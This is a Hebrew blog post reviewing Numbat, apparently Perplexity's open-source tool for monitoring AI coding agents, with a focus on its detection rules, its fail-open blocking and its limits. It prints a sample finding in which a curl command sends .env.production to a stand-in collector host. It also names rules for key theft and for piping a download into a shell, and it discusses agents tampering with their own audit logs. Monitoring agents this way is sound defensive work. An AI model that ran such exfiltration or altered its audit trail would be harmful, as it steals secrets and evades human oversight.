איך לנטר סוכני AI עם Numbat של Perplexity
סוכני AI מבצעים פעולות בשרת שאינן מתועדות בהיסטוריית ה-shell. הכלי Numbat מאפשר לנטר בזמן אמת קריאת קבצים רגישים ופקודות חשודות שסוכני תכנות מריצים על המכונה שלכם.
מהו Numbat
Numbat מעניק לכם נראות לגבי הפעולות שביצע סוכן AI על מכונה שבבעלותכם. הכלי קורא את ה-hook callbacks וקובצי ה-session שסוכני תכנות ממילא מייצרים, מנרמל אותם לפורמט אירועים אחיד, ומשווה אותם מול חוקים המופעלים בעת זיהוי התנהגות חשודה, כגון קריאת מפתח SSH פרטי או העברת הורדה ישירות לתוך shell. חברת Perplexity שחררה את הכלי כקוד פתוח תחת רישיון Apache 2.0, כאשר ה-release המתויג הראשון פורסם ב-29 ביולי 2026.
כל המידע להלן מבוסס על ה-repository של הפרויקט והתיעוד שלו, כפי שנקראו ב-2 באוגוסט 2026. היסטוריית ה-release, דרישות ההתקנה, ה-schema של הרישום וכיסוי הסוכנים נבדקו שוב מול ה-repository ב-12 באוקטובר 2026. במקומות שבהם Perplexity מציגה טענה, פוסט זה מציין זאת. זהו אינו מדריך התקנה, כיוון שה-repository נמצא בשלביו המוקדמים והפקודות בו צפויות להשתנות.
הבעיה: אף אחד לא מתעד את פעולות הסוכן
סוכן קידוד (coding agent) הפועל ב-VPS מריץ פקודות shell, קורא קבצים, כותב קבצים ופותח חיבורי רשת, וכל זאת תחת המשתמש שהרשאותיו הוענקו לו. היסטוריית ה-shell שלכם לא מתעדת דבר מפעולות אלו, כיוון שהסוכן אינו מקליד בתוך ה-shell שלכם. sshd מתעד את ה-login שלכם בלבד, ולא את הפעולות שהמודל החליט לבצע לאחר מכן. /var/log/auth.log נותר שקט אלא אם כן משהו ניגש ל-sudo. הסוכן מנהל תמלול משלו, אך קובץ זה נמצא בתיקיית הסשן של הסוכן, הפורמט שלו משתנה בין גרסאות, והתהליך של הסוכן עצמו יכול לכתוב אליו.
לכן, כאשר מישהו שואל האם הסוכן קרא את .env.production ביום שלישי האחרון, התשובה הכנה ברוב השרתים היא שאין דרך לדעת. הפער הזה הוא הסיבה לקיומו של פרויקט זה.
מה Perplexity טוענת ש-Numbat עושה
ה-README נפתח בתיאור הכלי כ"נראות נקודת קצה (endpoint) לפעילות של סוכני AI, עם זיהוי מקומי, חסימה אופציונלית לפני ביצוע, ושחזור פורנזי". המונח endpoint כאן מתייחס למכונה שבה רץ הסוכן, ולא להתקן רשת המנטר מבחוץ. אלו יכולות נפרדות, ויש להן משקל שונה.
הזיהוי מתבצע על גבי ההתקן. חוקים נכתבים ב-CEL (common expression language) ומוערכים מקומית, עם תמיכה בחוקי רצף מרובי-שלבים וכן בחוקים מותאמים אישית בפורמט YAML. שום מידע אינו חייב לעזוב את המכונה כדי שחוק יופעל.
חסימה היא אופציונלית וממוקדת. היא פועלת רק באמצעות hooks סינכרוניים שלפני ביצוע, עבור סוכנים שחושפים ממשק כזה, והיא כבויה כברירת מחדל עד להפעלתה.
שחזור מתבצע בדיעבד. numbat scan מנתח ארטיפקטים של סשן שהסוכן כבר כתב לדיסק, כך שניתן לבחון פעילות שהתרחשה עוד לפני התקנת הכלי. הפרויקט מקפיד לסייג טענה זו: "שחזור נתונים במנוחה (at-rest) אינו מהווה רכישת דיסק או זיכרון, ואינו יכול לשחזר פעילות שהסוכן לא שמר באופן קבוע".
הפלט הוא בפורמט NDJSON (newline delimited JSON) עם מספור גרסאות, המכסה אירועים, ממצאים, החלטות אכיפה, אינדיקטורים וסיכומי סריקה, בגרסת סכימה 0.2.0 נכון לגרסה v0.1.2. הסכימה התעדכנה מאז: ב-12 באוקטובר 2026 המאגר הכיל את גרסאות הסכימה 0.2.0, 0.3.0 ו-0.4.0, ודוגמאות התיעוד ב-README הציגו את גרסה 0.4.0. הרשומות נשלחות ל-stdout או לקובץ מקומי, ובאופן אופציונלי גם דרך HTTP לאספן (collector) שאתם מריצים. הכלי מופץ כקובץ binary סטטי יחיד של Go שנבנה ללא cgo, עבור macOS, Linux ו-Windows בארכיטקטורות amd64 ו-arm64, כך שעל גבי Linux VPS מדובר בקובץ בודד ללא צורך בהתקנת סביבת ריצה מראש.
אילו סוכנים Numbat מסוגל לראות בפועל?
מטריצת הכיסוי ב-docs/agent-coverage.md היא הרשימה הקובעת, והיא אינה אחידה. הפרויקט מצהיר על כך בגלוי במקום להסתיר זאת. ל-Claude Code, ל-Codex, ל-Gemini CLI, ל-Cursor ול-GitHub Copilot CLI יש גם סריקת ארטיפקטים וגם לכידה חיה עם pre-action hook. ל-OpenClaw יש תוסף מובנה החל מגרסה 2026.7.1 ואילך. רשימה ארוכה של פריטים מסומנת כ-deferred, מה שאומר שקיים נתיב ל-live hook אך מנתח הארטיפקטים אינו קיים; לעיתים קרובות הסיבה לכך היא שהסוכן שומר את ההיסטוריה שלו ב-SQLite עם write-ahead log שאינו בטוח לקריאה בזמן שהסוכן פועל. Cline CLI נמצא בקבוצה זו: ה-live hooks שלו עובדים, אך סשני ה-SQLite שלו אינם מנותחים. המקרה של OpenCode הוא מפוצל. המטריצה של v0.1.2 מנתחת את מאגרי ה-JSON המוקדמים שלו ודוחה רק את מסד הנתונים הנוכחי opencode.db; היא לא מציינת אכיפת pre-action עבור OpenCode, והמטריצה ב-main עדיין הציגה זאת כך ב-12 באוקטובר 2026.
בדקו את השורה המתאימה לסוכן שלכם לפני שאתם מתכננים משהו סביב כלי זה, כיוון ש"נתמך" (supported) מקבל משמעות שונה כמעט בכל שורה.
איך נראית התראה
לכללים יש מזהים המציינים את מטרתם. secrets.read_private_key מכסה מפתח SSH, אישורי AWS, קובץ הגדרות של kube או פרטי התחברות ל-registry של חבילות. exec.download_pipe_shell מופעל כאשר הפלט של curl או wget מועבר ב-pipe למפרש פקודות. privilege.elevated_shell מזהה בקשה ל-root shell אינטראקטיבי דרך sudo, doas, su או pkexec. impact.cryptomining_launch מתאים לקבצים בינאריים ושמות של images המוכרים ככורי מטבעות.
כללי רצף (Sequence rules) מחברים אירועים בתוך סשן יחיד. chain.secret_read_then_egress דורש קריאה של קובץ סודי ולאחריה פקודה שמעבירה נתונים החוצה. ה-README מפרסם את הממצא להלן מתוך שידור חוזר מבוקר של שני callbacks מסוג pre-action של Claude Code, ולא מתוך אירוע אבטחה חי. הפלט קוצץ כאן לשדות הרלוונטיים בלבד:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"severity": "high",
"confidence": "medium",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}שימו לב ל-"confidence": "medium" שנמצא בתוך הרשומה, ושימו לב למה שהפרויקט מציין לגבי כל מחלקת הפלט הזו: "ממצאים הם התאמות לכללים, לא הוכחה לפריצה". תסריט פריסה (deploy script) שקורא מפתח ולאחר מכן מעלה תוצר בנייה יפעיל את אותו כלל רצף. ההתאמה נכונה אך ההתראה שגויה, וזהו המצב התקין של כל כלי זיהוי שהפעלתם אי פעם.
חסימה כבויה כברירת מחדל, והיא פועלת במצב fail-open
כל חוק ש־Numbat מפיצה מוגדר לניטור בלבד. הפיכת חוק לחסימה היא פעולה מכוונת: העתיקו את ה־YAML המלא של החוק לספרייה שלכם, שמרו על אותו id, הוסיפו enforce: true, עדכנו את הגרסה, ולאחר מכן בצעו ולידציה והתקינו את המדיניות.
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforceכעת לחלק הקובע באיזו מידה עליכם לסמוך על המנגנון. ה־deny של Numbat הוא תגובה המוחזרת ל־agent, וה־agent הוא הגורם שמסרב בפועל לקריאת הכלי. מדריך האכיפה מבהיר מה קורה כאשר ל־Numbat עצמה יש בעיה: "מטענים (payloads) פגומים, שגיאות הערכה רלוונטיות, קריסות (panics) וכשלים בפלט מדכאים את ה־deny של Numbat". הקלט ל־hook מוגבל ל־4 MiB, וקלט חורג עובר באותו מסלול.
המדריך מבהיר באותה מידה מהי המגבלה של חסימה שכן מתבצעת: "Fail-open משמעו ש־Numbat נמנעת מלהחזיר תגובת deny. אין בכך ערובה שהכלי יבוצע: המארח עדיין עשוי להציג הנחיה, לחסום, להגיע ל־timeout, או להחיל hook או מדיניות אחרת".
לפיכך, האכיפה כאן היא מעקה בטיחות, לא גבול מוחלט. אם התהליך קורס, הפעולה לא נחסמת על ידי Numbat, שכן כלי ניטור שמשתק את ה־agent שלכם בכל פעם שיש לו תקלה יוסר מהמערכת תוך שבוע. הפשרה סבירה. פשוט אל תבנו מודל אבטחה שמניח שה־deny תמיד יגיע.
המיקום של Numbat לצד הפעילות הקיימת שלך
Numbat רץ על ה-endpoint, בתוך עץ התהליכים של ה-agent עצמו, וכותב כברירת מחדל ל-~/.numbat/records.ndjson. agent שרץ תחת המשתמש שלך יכול לקרוא את הקובץ הזה. הוא יכול גם לערוך אותו. הערך של נתיב הביקורת (audit trail) שווה בדיוק לרמת הבידוד סביבו, מה שמציב את כל אמצעי הבקרה שכבר יש לך לפניו ולא מאחוריו.
מתן מכונה וירטואלית זמנית ל-coding agent מגביל את טווח ההגעה של הרצה שגויה. משתמש בעל הרשאות מינימליות על ה-VPS מונע מה-agent גישה לקבצים שאין לו עניין לפתוח. הרחקת אישורי גישה מהקשר הפעולה של ה-agent היא מה שהופך התאמה של secrets.read_private_key לנדירה מספיק כדי שיהיה כדאי לקרוא אותה כשהיא מופעלת. וה-sandbox שהגדרת עבור Claude Code על גבי VPS הוא עדיין הגורם שמבצע את ההכלה. הכלה מגבילה את מה שהרצה שגויה יכולה לגעת בו, בעוד שתיעוד הסיבות למבנה הקוד מפחית את התדירות שבה ה-agent מבצע פעולה מפתיעה מספיק כדי לשלוח אותך ללוגים.
מה ש-Numbat מוסיף הוא התיעוד, לכן שלח את התיעוד למקום שה-agent אינו יכול להגיע אליו. numbat ship וה-HTTP sink קיימים בדיוק עבור זה. עותק של הזרם (stream) במכונה שנייה הוא ההבדל בין קובץ לוג לבין ראיה. מודל האירועים נושא גם שדות MCP (model context protocol), כך שקריאות לכלים שיוצאות דרך שרת MCP שאתה מארח על VPS נוחתות באותו זרם כמו פקודות shell מקומיות. זה חשוב, כיוון שהנתיב הזה אינו גלוי לכל מי שמנטר רק את bash. אותו "שטח מת" מכסה גם מופע של SearXNG שמחובר כ-search backend של ה-agent, שם הסיכון מגיע כטקסט דף לא מהימן שנכנס להקשר של המודל, ולא כפקודה שכלל כלשהו יכול לזהות.
נסה תחילה במצב קריאה בלבד
התקן גרסה נעולה (pinned). הפקודה להלן נועלת את גרסה v0.1.2, אשר ה-README שלה דורש Go 1.26.5 או גרסה חדשה יותר. ה-README בענף ה-main דרש Go 1.26.6 או חדש יותר נכון ל-12 באוקטובר 2026; עדכון זה הגיע עם גרסה v0.2.0, לכן השתמש ב-1.26.6 אם אתה נועל תגית חדשה יותר. דף ה-releases מכיל קבצים בינאריים מוכנים עם checksums מסוג SHA-256 אם אינך מעוניין לבצע הידור (build) ממקורות.
go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scannumbat agents מזהה סוכנים המותקנים על השרת. numbat scan מנתח את תוצרי הסשן שכבר נמצאים על הדיסק ומדפיס רשומות. ה-README מציין כי פקודות אלו "אינן מתקינות hooks ואינן משנות את תצורת הסוכן", וכי numbat "לעולם אינו מריץ סוכנים או פקודות שנמצאו בתוך תוצרים, והוא מבצע בקשות יוצאות רק ליעדי HTTP מוגדרים". הסריקה מתבצעת במצב קריאה בלבד עם הסתרת סודות, ופלט רשומות רגיל לעולם אינו כולל תמליל גולמי מלא.
לכידה חיה (live capture) היא השלב הבא, והיא אכן משנה את תצורת הסוכן:
numbat hook install --agent codex --emit all
numbat hook status --agent codex--emit all כותב אירועים, ממצאים, אינדיקטורים והחלטות אכיפה רלוונטיות ל-~/.numbat/records.ndjson. שתי אזהרות מגיעות ישירות מהפרויקט. ייתכן שיהיה צורך לתת אמון ב-hooks בתוך הסוכן לפני שהם ירוצו כלל, ויש לבחון אמון זה מחדש לאחר שינוי דגלים כגון --enforce. כמו כן, hook status "מאמת תצורה, לא הרצה או מסירה", לכן שורת סטטוס תקינה אינה הוכחה לכך שהרשומות מגיעות ליעד כלשהו.
מדוע מאגר כה חדש אינו מהווה תלות
נכון ל-12 באוקטובר 2026, הגרסאות הציבוריות הן v0.1.1 מ-29 ביולי 2026, v0.1.2 מ-1 באוגוסט 2026 ו-v0.2.0 מ-17 באוגוסט 2026, אשר מסומנת בדף ה-releases כגרסה האחרונה. למאגר היו 597 כוכבים בעת כתיבת פוסט זה ב-2 באוגוסט 2026. מספרים שגדלים במהירות כזו משקפים את הקהל של Perplexity, ולא את רמת היציבות של הקוד. כוכב משמעו שמישהו שמר את הדף כדי לעיין בו מאוחר יותר.
מספר הגרסה משקף נאמנה את מצב הפיתוח. ההערות לגרסה v0.1.2 עוסקות בעיקר בתיקוני הסתרת פרטי זיהוי (credential redaction), לצד עבודה על חבילות מקרי קצה ונרמול טלמטריה. ההערות לגרסה v0.2.0 מוסיפות לכידת תוכן הודעות מוגבל, אכיפת קריאת קבצים ב-Cursor דרך ה-hook מסוג beforeReadFile, ותיקוני הסתרה נוספים. באגים בהסתרה הם צורת הליקויים הצפויה בכלי שתפקידו לקרוא תמלילים של תוכנות אחרות בצורה בטוחה, ויהיו עוד כאלה, כיוון שהקלט מגיע מתריסר סוכנים שכל אחד מהם משנה את הפורמט שלו לפי לוח זמנים עצמאי.
מכאן נובעים שני כללים מעשיים. קבעו (pin) את ה-tag, לעולם לא את @latest, בכל פרויקט שאתם מתחזקים. התייחסו לכלי כאל מכשיר שאתם מעריכים ולא כאל רכיב בקרה שאתם תלויים בו, לפחות עד שסכימת התיעוד תפסיק להשתנות. היא טרם הפסיקה: היא עברה מ-0.2.0 בגרסה v0.1.2 ל-0.4.0 ב-README בענף main בתוך כעשרה שבועות.
FAQ
האם Numbat חוסם פקודות מסוכנות של סוכני AI?
רק אם תבחר בכך, וגם אז על בסיס "מאמץ מיטבי" (best effort) בלבד. כל כלל ש־Numbat מפיץ מוגדר למצב ניטור בלבד. כדי לחסום, עליך להעתיק את ה-YAML של הכלל לספרייה משלך, לשמור על ה-id שלו, להוסיף את enforce: true, להעלות את גרסת הכלל, ולהתקין את ה-hook באמצעות --enforce. גם אז, החסימה היא תגובה שמוחזרת לסוכן, והסוכן הוא זה שמסרב לבצע את הקריאה. הפרויקט מתעד התנהגות של fail-open: מטענים (payloads) פגומים, שגיאות הערכה, קריסות (panics) וכשלים בפלט – כולם מדכאים את החסימה. השתמש בכלי כמעקה בטיחות, לא כגבול ההגנה היחיד שלך.
באילו סוכני AI תומך Numbat?
הכיסוי משתנה בין סוכן לסוכן ומפורט ב-docs/agent-coverage.md במאגר. נכון למועד קריאת הדף ב-2 באוגוסט 2026, ל-Claude Code, Codex, Gemini CLI, Cursor ו-GitHub Copilot CLI היו גם סריקת ארטיפקטים וגם לכידה בזמן אמת, ול-OpenClaw יש תוסף מובנה החל מגרסה 2026.7.1. סוכנים רבים אחרים מופיעים עם נתיב hook פעיל אך ללא מנתח ארטיפקטים עדיין, בדרך כלל משום שהיסטוריית הסשן שלהם יושבת בבסיס נתונים SQLite שאינו בטוח לקריאה בזמן שהסוכן רץ. קרא את השורה הרלוונטית לסוכן שלך, שכן המילה "נתמך" מכסה שם כמה רמות שונות של תמיכה.
האם הסוכן יכול לשבש את הרישומים של Numbat?
כן, אם הוא רץ תחת אותו משתמש. ברירת המחדל של הרישומים היא ~/.numbat/records.ndjson על אותו מחשב שבו רץ הסוכן, לכן כל תהליך בעל הרשאות כתיבה לנתיב זה יכול לשנות או למחוק אותם. שלח את הזרם (stream) לאספן (collector) שהסוכן אינו יכול להגיע אליו, באמצעות numbat ship או ה-HTTP sink, ושמור את הקובץ המקומי כעותק נוחות בלבד. זו גם הסיבה שהכלי משלים בידוד (isolation) במקום להחליף אותו. לסוכן שכלוא בתוך VM זמני תחת משתמש בעל הרשאות מינימליות (least privilege) יש הרבה פחות גישה לנתיב הביקורת (audit trail) של עצמו.
האם Numbat מוכן לשרת ייצור (production)?
לא כבקרת אבטחה שאתה מסתמך עליה. הגרסה הציבורית הראשונה הייתה v0.1.1 ב-29 ביולי 2026, v0.1.2 הגיעה ב-1 באוגוסט 2026 ו-v0.2.0 ב-17 באוגוסט 2026. עד ה-12 באוקטובר 2026, סכימת הרישומים ב-README הגיעה ל-0.4.0, כך שהדגלים וסכימת הרישומים עדיין משתנים. הרצת numbat agents ו-numbat scan על שרת היא פעולה לקריאה בלבד בעלת סיכון נמוך, והיא תציג לך מה הסוכנים שלך השאירו על הדיסק. התקנת hooks לאכיפה על שרת קריטי היא החלטה שונה, והיא דורשת הצמדה לגרסה (pinned tag) ותוכנית למקרה שה-hook יתנהג בצורה לא צפויה.